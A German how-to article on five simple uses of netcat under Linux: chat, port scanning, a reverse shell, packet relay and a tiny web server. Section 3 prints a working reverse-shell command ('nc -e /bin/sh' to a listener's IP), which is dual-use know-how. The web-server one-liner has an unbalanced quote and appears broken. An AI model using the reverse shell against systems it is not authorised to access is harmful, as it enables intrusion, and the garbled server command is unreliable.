5 einfache und unkomplizierte Verwendungsmöglichkeiten für Netcat unter Linux
Netcat ist ein leistungsstarkes Befehlszeilen-Netzwerkdienstprogramm unter Linux, das TCP- und UDP-Pakete senden und abhören kann. Im Gegensatz zu anderen Netzwerktools ist Netcat äußerst einfach. Aufgrund seiner Einfachheit ist es jedoch auch möglich, nahezu jede Art von Aktivität über ein Netzwerk durchzuführen.
Dieser Artikel zeigt Ihnen 5 einfache Netzwerkaufgaben, die Sie mit Netcat erledigen können. Darüber hinaus wird in diesem Artikel auch beleuchtet, was Netcat so besonders macht und warum Sie es in Ihr Linux-Toolkit aufnehmen sollten.
Wie funktioniert Netcat und warum wird es verwendet?
Netcat ist ein grundlegendes Dienstprogramm, das Netzwerkpakete senden und empfangen kann. Es wurde erstmals 1995 von einem pseudonymen Programmierer namens Hobbit veröffentlicht. Seitdem ist Netcat ein wichtiger Bestandteil jeder Linux-Distribution.
Im Kern funktioniert Netcat, indem es Netzwerkanfragen von einem Linux-Host an einen anderen sendet. Diese Netzwerkanfrage kann jede Art von Daten enthalten und Sie können sie an jedem Port senden.
Dieser Ansatz bedeutet, dass Netcat jede Art von Netzwerkverbindung herstellen kann. Das Programm kann beispielsweise direkte TCP-Verbindungen erstellen, die Sie entweder zum Übertragen von Dateien oder zum Erstellen von Reverse-Shell-Sitzungen verwenden können .
1. Peer-to-Peer-Chat-Sitzung
Eine der grundlegendsten Verwendungsmöglichkeiten für Netcat ist eine einfache Peer-to-Peer-Chat-Sitzung zwischen zwei Linux-Rechnern. Hierbei handelt es sich um eine Kommunikationsmethode, die zum Senden und Empfangen von Informationen nicht auf einen Server Dritter angewiesen ist.
- Damit dies funktioniert, müssen Sie auf Ihrem lokalen Computer einen Port zwischen 49152 und 65536 öffnen. Hier kann ein Remote-Host eine Verbindung herstellen und beliebige Informationen an Ihren Computer senden.
sudo ufw allow 50000
- Sie müssen außerdem einen anderen Port auf dem Remote-Host öffnen, damit Ihr Computer Informationen an ihn senden kann:
sudo ufw allow 50001
- Führen Sie es
netcat
auf Ihrem Computer mit den folgenden Argumenten aus:
nc -lp 50000
Dadurch wird eine Netcat-Sitzung geöffnet, die aktiv auf Daten auf Port 50000 lauscht.
- Der Remote-Host kann nun beliebige Textdaten an Ihren lokalen Computer senden. Mit dem folgenden Befehl wird beispielsweise die Standardeingabe des Systems an einen Remotecomputer gesendet.
cat - | nc 192.168.122.136 50000
- Um auf die Nachricht zu antworten, muss der Remote-Host außerdem einen Überwachungs-Daemon ausführen:
nc -lp 50001
- Jetzt können Sie auch eine Nachricht vom lokalen Computer an den Remote-Host senden:
cat - | nc 192.168.122.177 50001
2. Einfacher Port-Scanner
Ein Port-Scanner ist ein einfaches Dienstprogramm, das prüft, ob von einem Remote-Host aus auf eine Reihe von Ports in einer Maschine zugegriffen werden kann. Dies ist äußerst nützlich, wenn Sie nicht sicher sind, ob auf Ihrem System die entsprechenden Ports geöffnet sind.
Um nach einem einzelnen Port zu suchen, können Sie Folgendes ausführen, nc -v
gefolgt von der IP-Adresse und dem Port, den Sie überprüfen möchten:
nc -v 192.168.122.177 80
Sie können auch einen Nummernbereich angeben, in dem Netcat nacheinander jede Portnummer innerhalb dieses Bereichs überprüft. Wenn Sie beispielsweise den folgenden Befehl ausführen, wird nach allen offenen „bekannten“ Ports gesucht:
nc -v 192.168.122.177 1-1024
Einer der Nachteile der Portabfrage besteht darin, dass dadurch unnötiger Netzwerkverkehr erzeugt wird. Dies kann ein Problem sein, wenn Sie eine große Anzahl von Ports in einem kleinen Heimnetzwerk testen.
Um dies zu beheben, aktivieren Sie den „Zero I/O“-Modus von Netcat, der keine Netzwerkaktivität auf dem Remote-Host erzeugt:
nc -zv 192.168.122.177 1-1024
3. Shell umkehren
Reverse Shells sind das A und O von Penetrationstests unter Linux. Hierbei handelt es sich um Remote-Shell-Instanzen, mit denen Sie ein System auch ohne offene Eingangsports steuern können. Dies macht Reverse-Shells praktisch, wenn Sie auf eine Maschine zugreifen müssen, die keinen SSH-Zugriff hat.
- Um eine Reverse-Shell zu erstellen, müssen Sie einen Listener-Daemon auf Ihrem lokalen Computer öffnen:
nc -lp 50000
- Starten Sie eine Netcat-Verbindung auf Ihrem Remote-Computer. In diesem Fall müssen Sie auch die Shell-Umgebung des Remote-Computers übergeben:
nc -e /bin/sh 192.168.122.136 50000
- Gehen Sie zurück zu Ihrem lokalen Computer und führen Sie einen Shell-Befehl aus. Wenn Sie beispielsweise ausführen,
ls
wird das aktuelle Verzeichnis des Remote-Benutzers gedruckt.
ls -la
- Um die Reverse-Shell-Sitzung zu beenden, können Sie auf dem Listener-Daemon Ihres lokalen Computers Ctrl+ drücken.C
4. Grundlegendes Paket-Relay
Neben dem direkten Lesen und Schreiben in einen Netzwerk-Stream können Sie Netcat auch verwenden, um eine eingehende Verbindung an einen beliebigen ausgehenden Port umzuleiten. Dies funktioniert durch die Verkettung mehrerer Netcat-Listener- und Client-Sitzungen mithilfe von UNIX-Pipes.
- Erstellen Sie eine Netcat-Sitzung, die Port 50000 überwacht. Dieser dient als ausgehender Port für Ihr Basis-Relay:
nc -lv localhost 50000
- Öffnen Sie ein neues Terminal und führen Sie den folgenden Befehl aus:
nc -lv localhost 50001 | nc localhost 50000
Dadurch wird ein neuer Listener-Daemon auf Port 50001 erstellt und alle Pakete auf diesem Port automatisch an Port 50000 umgeleitet.
- Sie können jetzt Daten an Ihren Eingangsport senden und Netcat leitet die Ausgabe automatisch an Ihren Ausgangsport um.
echo "MakeTechEasier"| nc localhost 50001
- Abgesehen von lokalen Ports können Sie diese Funktion auch verwenden, um jeglichen Netzwerkverkehr auf einen anderen Computer umzuleiten. Der folgende Code sendet beispielsweise Daten in Port 50000 an denselben Port auf einem anderen System:
nc -lv localhost 50000 | nc 192.168.122.177 50000
5. Grundlegender HTTP-Server
Das Einrichten eines HTTP-Servers kann ein komplexer Prozess sein, selbst wenn Sie nur eine einzelne Seite bereitstellen möchten. In dieser Hinsicht kann Netcat auch als einfacher statischer Webserver dienen, den Sie unter Linux starten können, ohne zusätzliche Tools zu installieren.
- Erstellen Sie eine einfache HTTP-Antwortdatei. Der folgende Codeausschnitt zeigt eine Webseite mit einer einfachen Nachricht an:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>
- Speichern Sie es als „index.http“ in Ihrem Home-Verzeichnis.
- Führen Sie den folgenden Befehl aus:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
Sie haben jetzt einen funktionierenden Webserver. Sie können Ihre Webseite besuchen, indem Sie einen Webbrowser öffnen und zu http://localhost:8080 gehen.
- Drücken Sie Ctrl+ Cam Terminal, um die aktuelle Webserversitzung zu beenden.
Häufig gestellte Fragen
Ich kann mit Netcat keine Verbindung zu einem Remote-Computer herstellen.
Dieses Problem ist höchstwahrscheinlich auf einen blockierten Firewall-Port auf dem Remote-Computer zurückzuführen. Sie müssen sicherstellen, dass der Port, den Sie auf Ihrem Computer verwenden, sowohl für eingehende als auch für ausgehende Verbindungen geöffnet ist. Sie müssen beispielsweise ausführen, sudo ufw allow 49999
wenn Sie Port 49999 auf dem Remote-Computer verwenden möchten.
Ist es möglich, mit Netcat eine Verbindung zu jedem Host herzustellen?
Nein. Obwohl Netcat jeden beliebigen Netzwerk-Stream lesen und schreiben kann, kann es keine Verbindung zu einem Computer herstellen, der im Netzwerk Ihres Systems nicht erkennbar ist. Dazu gehören private Netzwerke, bei denen die Portweiterleitung nicht aktiviert ist, sowie Air-Gap-Systeme, die keinen Netzwerkzugriff haben.
Ist es möglich, eine Verbindung in Netcat zu fälschen?
Nein. Dies liegt daran, dass Netcat nur Pakete von einer gültigen Netzwerkschnittstelle senden und empfangen kann. Sie können jedoch ändern, woher dieses bestimmte Paket kommt, wenn Sie über mehrere Netzwerkschnittstellen verfügen.
Beispielsweise können Sie nc -l -s 10.0.0.2 -p 50000
netcat anweisen, Pakete explizit über die Schnittstelle mit der IP-Adresse „10.0.0.2“ zu senden.
Bildnachweis: ThisisEngineering RAEng über Unsplash . Alle Änderungen und Screenshots von Ramces Red.
Schreibe einen Kommentar